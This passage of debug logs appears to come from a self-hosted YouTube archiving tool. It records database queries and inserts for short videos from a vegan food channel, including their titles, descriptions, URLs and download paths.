s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:33.111 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1005.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:33.113 [debug] QUERY OK source="media_items" db=1.9ms queue=0.3ms idle=1005.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-17 23:16:53Z], 1] 20:27:33.115 [debug] QUERY OK source="media_items" db=0.9ms idle=1006.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Full Vegan Ice Cream Taste Test Video Link: https://youtu.be/rU4cirfns1Q\n\nIf you're so hot that you're melted to the couch then you'll want to cool down with our vegan ice cream taste test and review video!\n\nSubscribe if you enjoy vegan recipes and taste test videos! Thanks for your support!", "Are you doing sweat angels on the floor cus it’s so hot? 🥵 vegan ice cream review #shorts", "e699b288-34fd-4ba2-a12a-c035bd4946eb", 1, [], 8, false, "RuU3kx3alNk", "https://www.youtube.com/shorts/RuU3kx3alNk", 260, "/downloads/downloads/alec/Steamy Vegan/2022-08-17 Are you doing sweat angels on the floor cus it’s so hot? 🥵 vegan ice cream review #shorts/Are you doing sweat angels on the floor cus it’s so hot? 🥵 vegan ice cream review #shorts [RuU3kx3alNk].NA", false, false, true, 0, ~U[2022-08-17 23:16:53Z], ~U[2026-03-22 03:27:33Z], ~U[2026-03-22 03:27:33Z], "Full Vegan Ice Cream Taste Test Video Link: https://youtu.be/rU4cirfns1Q\n\nIf you're so hot that you're melted to the couch then you'll want to cool down with our vegan ice cream taste test and review video!\n\nSubscribe if you enjoy vegan recipes and taste test videos! Thanks for your support!", "Are you doing sweat angels on the floor cus it’s so hot? 🥵 vegan ice cream review #shorts", 1, 8, false, "RuU3kx3alNk", "https://www.youtube.com/shorts/RuU3kx3alNk", "/downloads/downloads/alec/Steamy Vegan/2022-08-17 Are you doing sweat angels on the floor cus it’s so hot? 🥵 vegan ice cream review #shorts/Are you doing sweat angels on the floor cus it’s so hot? 🥵 vegan ice cream review #shorts [RuU3kx3alNk].NA", true, ~U[2022-08-17 23:16:53Z]] 20:27:33.116 [debug] QUERY OK source="sources" db=0.6ms idle=914.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:33.116 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:33.117 [debug] QUERY OK source="media_items" db=0.4ms idle=5.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [649] 20:27:33.117 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Check out our full vegan cheese taste test and review live on the channel right now. We put 4 of the best vegan cheeses into an in-depth test that includes a wiggle wiggle test! \n\nFull Taste Test Video Here: https://youtu.be/lgPeexeqpJw\n\nIf you like vegan and gluten free recipes videos, taste test and reviews then you'll want to jiggle jiggle that subscribe button! Thanks for your support.", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-08-17 My Vegan Cheese Don’t Jiggle Jiggle It Flops 🧀 😂#shorts #youtubeshorts/My Vegan Cheese Don’t Jiggle Jiggle It Flops 🧀 😂#shorts #youtubeshorts [xGJyLzNGmco].NA", "id" => "xGJyLzNGmco", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/xGJyLzNGmco", "playlist_index" => 261, "timestamp" => 1660766700, "title" => "My Vegan Cheese Don’t Jiggle Jiggle It Flops 🧀 😂#shorts #youtubeshorts", "upload_date" => "20220817"} 20:27:33.118 [debug] QUERY OK source="sources" db=1.1ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:33.119 [debug] QUERY OK source="sources" db=0.3ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:33.121 [debug] QUERY OK source="media_items" db=1.9ms idle=3.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-17 20:05:00Z], 1] 20:27:33.123 [debug] QUERY OK source="media_items" db=1.1ms idle=5.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Check out our full vegan cheese taste test and review live on the channel right now. We put 4 of the best vegan cheeses into an in-depth test that includes a wiggle wiggle test! \n\nFull Taste Test Video Here: https://youtu.be/lgPeexeqpJw\n\nIf you like vegan and gluten free recipes videos, taste test and reviews then you'll want to jiggle jiggle that subscribe button! Thanks for your support.", "My Vegan Cheese Don’t Jiggle Jiggle It Flops 🧀 😂#shorts #youtubeshorts", "c31b6955-28b8-4dac-9e05-0e600047c095", 1, [], 15, false, "xGJyLzNGmco", "https://www.youtube.com/shorts/xGJyLzNGmco", 261, "/downloads/downloads/alec/Steamy Vegan/2022-08-17 My Vegan Cheese Don’t Jiggle Jiggle It Flops 🧀 😂#shorts #youtubeshorts/My Vegan Cheese Don’t Jiggle Jiggle It Flops 🧀 😂#shorts #youtubeshorts [xGJyLzNGmco].NA", false, false, true, 1, ~U[2022-08-17 20:05:00Z], ~U[2026-03-22 03:27:33Z], ~U[2026-03-22 03:27:33Z], "Check out our full vegan cheese taste test and review live on the channel right now. We put 4 of the best vegan cheeses into an in-depth test that includes a wiggle wiggle test! \n\nFull Taste Test Video Here: https://youtu.be/lgPeexeqpJw\n\nIf you like vegan and gluten free recipes videos, taste test and reviews then you'll want to jiggle jiggle that subscribe button! Thanks for your support.", "My Vegan Cheese Don’t Jiggle Jiggle It Flops 🧀 😂#shorts #youtubeshorts", 1, 15, false, "xGJyLzNGmco", "https://www.youtube.com/shorts/xGJyLzNGmco", "/downloads/downloads/alec/Steamy Vegan/2022-08-17 My Vegan Cheese Don’t Jiggle Jiggle It Flops 🧀 😂#shorts #youtubeshorts/My Vegan Cheese Don’t Jiggle Jiggle It Flops 🧀 😂#shorts #youtubeshorts [xGJyLzNGmco].NA", true, ~U[2022-08-17 20:05:00Z]] 20:27:33.124 [debug] QUERY OK source="sources" db=0.5ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:33.124 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:33.125 [debug] QUERY OK source="media_items" db=0.5ms idle=5.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [650] 20:27:33.125 [debug] Current batch of media processed. Will check again in 1000ms 20:27:34.126 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Grilled cheese ASMR 'cause apparently that's what the cool kids do now 🤷🏼\u200D♀️ Watch my latest video HOW TO MAKE THE BEST VEGAN GRILLED CHEESE: https://youtu.be/Vq3ixlF4ZHw", "duration" => 14, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-08-17 Grilled cheese ASMR 🧀🥪 (cause that’s what the cool kids do these days) #youtubeshorts #shorts/Grilled cheese ASMR 🧀🥪 (cause that’s what the cool kids do these days) #youtubeshorts #shorts [9zqvfa4xfqI].NA", "id" => "9zqvfa4xfqI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/9zqvfa4xfqI", "playlist_index" => 262, "timestamp" => 1660749152, "title" => "Grilled cheese ASMR 🧀🥪 (cause that’s what the cool kids do these days) #youtubeshorts #shorts", "upload_date" => "20220817"} 20:27:34.127 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:34.128 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:34.131 [debug] QUERY OK source="media_items" db=2.7ms idle=1004.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-17 15:12:32Z], 1] 20:27:34.133 [debug] QUERY OK source="media_items" db=1.2ms idle=1006.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Grilled cheese ASMR 'cause apparently that's what the cool kids do now 🤷🏼\u200D♀️ Watch my latest video HOW TO MAKE THE BEST VEGAN GRILLED CHEESE: https://youtu.be/Vq3ixlF4ZHw", "Grilled cheese ASMR 🧀🥪 (cause that’s what the cool kids do these days) #youtubeshorts #shorts", "6c87c23f-73e0-4565-a30f-5c0d42957bb3", 1, [], 14, false, "9zqvfa4xfqI", "https://www.youtube.com/shorts/9zqvfa4xfqI", 262, "/downloads/downloads/alec/Steamy Vegan/2022-08-17 Grilled cheese ASMR 🧀🥪 (cause that’s what the cool kids do these days) #youtubeshorts #shorts/Grilled cheese ASMR 🧀🥪 (cause that’s what the cool kids do these days) #youtubeshorts #shorts [9zqvfa4xfqI].NA", false, false, true, 2, ~U[2022-08-17 15:12:32Z], ~U[2026-03-22 03:27:34Z], ~U[2026-03-22 03:27:34Z], "Grilled cheese ASMR 'cause apparently that's what the cool kids do now 🤷🏼\u200D♀️ Watch my latest video HOW TO MAKE THE BEST VEGAN GRILLED CHEESE: https://youtu.be/Vq3ixlF4ZHw", "Grilled cheese ASMR 🧀🥪 (cause that’s what the cool kids do these days) #youtubeshorts #shorts", 1, 14, false, "9zqvfa4xfqI", "https://www.youtube.com/shorts/9zqvfa4xfqI", "/downloads/downloads/alec/Steamy Vegan/2022-08-17 Grilled cheese ASMR 🧀🥪 (cause that’s what the cool kids do these days) #youtubeshorts #shorts/Grilled cheese ASMR 🧀🥪 (cause that’s what the cool kids do these days) #youtubeshorts #shorts [9zqvfa4xfqI].NA", true, ~U[2022-08-17 15:12:32Z]] 20:27:34.133 [debug] QUERY OK source="sources" db=0.3ms idle=930.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:34.134 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:34.135 [debug] QUERY OK source="media_items" db=0.6ms idle=6.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [651] 20:27:34.135 [debug] Current batch of media processed. Will check again in 1000ms 20:27:35.136 [debug] Current batch of media processed. Will check again in 1000ms 20:27:36.137 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This week on the channel we're taste testing the best vegan cheeses on the market and showing you the good, the bad and the ugly of our reactions. If you like or even hate vegan cheese and enjoy reaction videos or taste test videos then you'll love this one. Full video link below...\n\nFull Video: https://youtu.be/lgPeexeqpJw\n\nThanks for watching and if you enjoy vegan or gluten free food recipes, taste tests, and reviews then you'll want to subscribe to the channel as we post at least twice per week! Thanks for your support!", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-08-16 Vegan Cheese That Tastes Like Play-Doh 🤢 🤮 reaction video #shorts #youtubeshorts/Vegan Cheese That Tastes Like Play-Doh 🤢 🤮 reaction video #shorts #youtubeshorts [hesq_aZQHdA].NA", "id" => "hesq_aZQHdA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/hesq_aZQHdA", "playlist_index" => 263, "timestamp" => 1660692604, "title" => "Vegan Cheese That Tastes Like Play-Doh 🤢 🤮 reaction video #shorts #youtubeshorts", "upload_date" => "20220816"} 20:27:36.138 [debug] QUERY OK source="sources" db=0.4ms idle=929.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:36.139 [debug] QUERY OK source="sources" db=0.5ms idle=555.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:36.141 [debug] QUERY OK source="media_items" db=2.1ms idle=555.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-16 23:30:04Z], 1] 20:27:36.142 [debug] QUERY OK source="media_items" db=1.0ms idle=558.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This week on the channel we're taste testing the best vegan cheeses on the market and showing you the good, the bad and the ugly of our reactions. If you like or even hate vegan cheese and enjoy reaction videos or taste test videos then you'll love this one. Full video link below...\n\nFull Video: https://youtu.be/lgPeexeqpJw\n\nThanks for watching and if you enjoy vegan or gluten free food recipes, taste tests, and reviews then you'll want to subscribe to the channel as we post at least twice per week! Thanks for your support!", "Vegan Cheese That Tastes Like Play-Doh 🤢 🤮 reaction video #shorts #youtubeshorts", "fe987dfc-13ae-4a80-af30-6924728ae39e", 1, [], 15, false, "hesq_aZQHdA", "https://www.youtube.com/shorts/hesq_aZQHdA", 263, "/downloads/downloads/alec/Steamy Vegan/2022-08-16 Vegan Cheese That Tastes Like Play-Doh 🤢 🤮 reaction video #shorts #youtubeshorts/Vegan Cheese That Tastes Like Play-Doh 🤢 🤮 reaction video #shorts #youtubeshorts [hesq_aZQHdA].NA", false, false, true, 1, ~U[2022-08-16 23:30:04Z], ~U[2026-03-22 03:27:36Z], ~U[2026-03-22 03:27:36Z], "This week on the channel we're taste testing the best vegan cheeses on the market and showing you the good, the bad and the ugly of our reactions. If you like or even hate vegan cheese and enjoy reaction videos or taste test videos then you'll love this one. Full video link below...\n\nFull Video: https://youtu.be/lgPeexeqpJw\n\nThanks for watching and if you enjoy vegan or gluten free food recipes, taste tests, and reviews then you'll want to subscribe to the channel as we post at least twice per week! Thanks for your support!", "Vegan Cheese That Tastes Like Play-Doh 🤢 🤮 reaction video #shorts #youtubeshorts", 1, 15, false, "hesq_aZQHdA", "https://www.youtube.com/shorts/hesq_aZQHdA", "/downloads/downloads/alec/Steamy Vegan/2022-08-16 Vegan Cheese That Tastes Like Play-Doh 🤢 🤮 reaction video #shorts #youtubeshorts/Vegan Cheese That Tastes Like Play-Doh 🤢 🤮 reaction video #shorts #youtubeshorts [hesq_aZQHdA].NA", true, ~U[2022-08-16 23:30:04Z]] 20:27:36.143 [debug] QUERY OK source="sources" db=0.3ms idle=559.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:36.144 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.2ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:36.145 [debug] QUERY OK source="media_items" db=0.7ms idle=5.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [652] 20:27:36.145 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Check out our reactions in our full taste test and review video of the best vegan cheeses, live on the channel. We had a ton of fun and laughs coming up with all kinds of cheesy lines while we reviewed these vegan cheeses. Hope you enjoy the full video below...\n\nFull Taste Test Video Here: https://youtu.be/lgPeexeqpJw", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-08-16 Vegan Cheese That Tastes Like Dusty Old Books 🤢 🤮 taste test #shorts #youtubeshorts/Vegan Cheese That Tastes Like Dusty Old Books 🤢 🤮 taste test #shorts #youtubeshorts [_kM80bDso5Q].NA", "id" => "_kM80bDso5Q", "live_status" => 